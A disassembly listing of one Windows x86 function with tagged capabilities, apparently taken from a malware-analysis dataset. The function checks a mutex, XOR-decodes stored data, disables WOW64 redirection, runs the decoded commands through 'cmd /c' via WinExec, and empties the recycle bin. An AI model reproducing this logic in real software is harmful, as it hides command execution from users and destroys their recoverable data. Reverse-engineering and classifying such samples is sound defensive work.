Function at 0x4030d0
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Create process on windows
Empty the recycle bin
Encode data using xor
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push str.CheckMutex
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x4030fa
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x403331
movaps xmm2, xmmword [0x4295d0]
xor eax, eax
nop dword [eax]
nop word [eax + eax]
movups xmm0, xmmword [eax + section..data]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [eax + section..data], xmm1
movups xmm0, xmmword [eax + 0x435010]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [eax + 0x435010], xmm1
movups xmm0, xmmword [eax + 0x435020]
movaps xmm1, xmm2
pxor xmm0, xmm2
movups xmmword [eax + 0x435020], xmm0
movups xmm0, xmmword [eax + 0x435030]
pxor xmm1, xmm0
movups xmmword [eax + 0x435030], xmm1
add eax, 0x40
cmp eax, 0x21c0
jb 0x403110
cmp eax, 0x21e7
jae 0x403181
xor byte [eax + section..data], 0xa9
inc eax
cmp eax, 0x21e7
jb 0x403172
push ebx
push esi
push edi
push 0x4120e0
push section..data
push 0
call fcn.00410750
push 1
mov dword [0x43a88c], eax
call fcn.00402dd0
push 0x800
mov edi, eax
call fcn.00401960
add esp, 0x14
mov dword [ebp - 4], 0
mov ebx, eax
push str.IsWow64Process
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x4031e7
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
test eax, eax
je 0x4031f7
cmp dword [ebp - 4], 0
je 0x4031f7
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_Wow64DisableWow64FsRedirection]
test edi, edi
je 0x4032b3
mov eax, dword [0x43a88c]
push 1
push 0
push 0
push 0x429458
push eax
push eax
call fcn.004105b0
add esp, 0x18
mov dword [ebp - 4], eax
test eax, eax
je 0x4032b3
push eax
call fcn.00401990
movq xmm0, qword [str.cmd__c__]
mov edx, eax
movq qword [ebx], xmm0
add esp, 4
mov cl, byte [0x429464]
mov esi, edx
mov byte [ebx + 8], cl
mov al, byte [edx]
inc edx
test al, al
jne 0x403246
sub edx, esi
lea edi, [ebx - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x403252
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebx - 1]
nop dword [eax + eax]
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x403270
mov ax, word [0x429468]
push 0
push ebx
mov word [edi], ax
call dword [sym.imp.KERNEL32.dll_WinExec]
push 1
push 0
push 0
push 0x429458
push dword [0x43a88c]
push dword [ebp - 4]
call fcn.004105b0
add esp, 0x18
mov dword [ebp - 4], eax
test eax, eax
jne 0x403224
push str.IsWow64Process
push str.kernel32.dll
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x4032e8
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
test eax, eax
je 0x4032f7
cmp dword [ebp - 4], 0
je 0x4032f7
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_Wow64RevertWow64FsRedirection]
push ebx
call fcn.00416e46
push 0x10
call fcn.004014d0
push 0x10
push eax
mov dword [0x43a878], eax
call fcn.00401a30
add esp, 0x10
mov dword [0x43a874], eax
call fcn.004033f0
push 7
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHEmptyRecycleBinA]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
call fcn.0041710b
int3